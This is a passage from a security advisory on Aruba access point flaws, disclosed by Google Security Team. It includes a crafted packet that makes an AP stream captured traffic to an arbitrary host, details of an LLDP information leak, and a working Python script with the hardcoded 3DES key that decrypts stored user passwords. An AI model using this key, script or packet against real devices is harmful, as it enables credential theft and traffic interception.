  00c0  00 09 52 41 57 2d 53 54 41 52 54 00 00 07 49 50   ..RAW-START...IP
  00d0  2d 41 44 44 52 00 00 0b 31 39 32 2e 31 36 38 2e   -ADDR...192.168.
  00e0  30 2e 31 00 00 09 74 61 72 67 65 74 2d 69 70 00   0.1...target-ip.
  00f0  00 0e 31 30 30 2e 31 30 35 2e 31 33 34 2e 34 35   ..100.105.134.45
  0100  00 00 0b 74 61 72 67 65 74 2d 70 6f 72 74 00 00   ...target-port..
  0110  04 31 33 33 37 00 00 06 66 6f 72 6d 61 74 00 00   .1337...format..
  0120  01 30 00 00 05 52 41 44 49 4f 00 00 01 30 04 00   .0...RADIO...0..
  0130  00 00 00 02 00 02 01 02 00 02 00 00 00 04 73 65   ..............se
  0140  63 61 00 00 04 72 6f 6f 74                        ca...root

When sending this packet to an AP running in managed mode, it confirms the
command and starts sending traffic to the specified host:

  [...]<re><data name="Packet capture has started for pcap-id"
pn="true">1</data></re>

---------------------------------------------------------
25. AP: Broadcast with detailed system information (LLDP)
---------------------------------------------------------

Aruba APs broadcast detailed system and version information to the wired
networks via LLDP (Link Layer Discovery Protocol).

  0000   02 07 04 00 0b 86 9e 7a 32 04 07 03 00 0b 86 9e  .......z2.......
  0010   7a 32 06 02 00 78 0a 11 30 30 3a 30 62 3a 38 36  z2...x..00:0b:86
  0020   3a XX XX 3a XX XX 3a XX XX 0c 3a 41 72 75 62 61  :XX:XX:XX.:Aruba
  0030   4f 53 20 28 4d 4f 44 45 4c 3a 20 52 41 50 2d 31  OS (MODEL: RAP-1
  0040   35 35 29 2c 20 56 65 72 73 69 6f 6e 20 36 2e 34  55), Version 6.4
  0050   2e 32 2e 36 2d 34 2e 31 2e 31 2e 31 30 20 28 35  .2.6-4.1.1.10 (5
  0060   31 38 31 30 29 0e 04 00 0c 00 08 10 0c 05 01 0a  1810)...........
  0070   00 00 22 02 00 00 00 0e 00 08 04 65 74 68 30 fe  .."........eth0.
  0080   06 00 0b 86 01 00 01 fe 09 00 12 0f 03 00 00 00  ................
  0090   00 00 fe 09 00 12 0f 01 03 6c 03 00 10 fe 06 00  .........l......
  00a0   12 0f 04 06 76 00 00                             ....v..

The broadcast packet contains the APs MAC address, model number and exact
firmware version.This detailed information could aid an attacker to easily find
and identify potential targets for known vulnerabilities.

------------------------------------------------------
26. AP: User passwords are encrypted with a static key
------------------------------------------------------

Based on the vulnerability shown in #24 which potentially discloses the
password hashes of AP user accounts, the implemented hashing algorithm was
tested. CVE-2014-7299 describes the password hashes as "encrypted password
hashes". The following line shows the mgmt-user configuration for the user
"admin" with password "admin":

  mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa

Some testing with various passwords and especially password lengths showed that
the passwords are actually encrypted and not hashed (as hash algorithms produce
the same length output for different length input):

  f9ac59cd431e174fb07539a8a811a1aa                 # admin
  d7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf # adminadmin

The encryption algorithm used for the above passwords turned out to be 3DES in
CBC mode. The encryption algorithm uses a 24 byte static key which is hardcoded
on the AP. Sampling of different Firmware versions confirmed that the key is
identical for all available versions. The IV required for 3DES consists of 8
random bytes, and is stored as the first 8 byte of the encrypted password. The
following Python script can be used to decrypt the above hashes:

  import pyDes
  hashes = (
    'f9ac59cd431e174fb07539a8a811a1aa', # admin
    'd7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf' # adminadmin
  )
  key = (
    '\x32\x74\x10\x84\x91\x17\x75\x46\x14\x75\x82\x92'
    '\x43\x49\x04\x59\x18\x69\x15\x94\x27\x84\x30\x03'
  )
  for h in hashes:
    d = pyDes.triple_des(key, pyDes.CBC, h.decode('hex')[:8], pad='\00')
    print h, '=>', d.decrypt(h.decode('hex')[8:])

Mitigation
==========
Aruba released three advisories, related to the issues reported here:

  http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-004.txt
  http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-005.txt
  http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-006.txt

Following the resolution advises given in those advisories is strongly
recommended. These advisories are also available on the Aruba security bulletin:

  http://www.arubanetworks.com/support-services/security-bulletins/

For the vulnerabilities related to PAPI, Aruba has made the following document
available:

  http://community.arubanetworks.com/aruba/attachments/aruba/aaa-nac-guest-access-byod/25840/1/Control_Plane_Security_Best_Practices_1_0.pdf

This doc gives several advises how to remediate the PAPI related
vulnerabilities. An update fixing the issues is announced for Q3/2016.
For further information there is also a discussion thread in Aruba's Airheads
Community Forum:

  http://community.arubanetworks.com/t5/AAA-NAC-Guest-Access-BYOD/Security-vulnerability-advisories/m-p/266095#M25840

Author
======
The vulnerabilities were discovered by Sven Blumenstein from Google Security
Team.


Timeline
========
2016/01/22 - Security report sent to sirt@arubanetworks.com with 90 day
             disclosure deadline (2016/04/22).
2016/01/22 - Aruba acknowledges report and starts working on the issues.
2016/02/01 - Asking Aruba for ETA on detailed feedback.
2016/02/03 - Detailed feedback for all reported vulnerabilities received.
2016/02/16 - Answered several questions from the feedback, asked Aruba for
             patch ETA.
2016/02/29 - Pinged for patch ETA.
2016/03/08 - Pinged for patch ETA.
2016/03/12 - Received detailed list with approx. ETA for patch releases and
             current status.
2016/03/21 - Aruba asks for extension of 90 day disclosure deadline.
2016/03/24 - Asked Aruba for exact patch release dates.
2016/04/02 - Aruba confirmed 4.2.x branch update for 2016/04/15, 4.1.x branch
             update for 2016/04/30 (past 90 day deadline).
2016/04/14 - 14 day grace period for disclosure was granted, according to
             the disclosure policy. New disclosure date was set to 2016/05/06.
2016/05/02 - Asking for status of still unreleased 'end of April' update.
2016/05/02 - Aruba confirmed availability of update on 2016/05/09 (after grace
             period).
2016/05/03 - Aruba released three advisories on
http://www.arubanetworks.com/support-services/security-bulletins/
2016/05/06 - Public disclosure.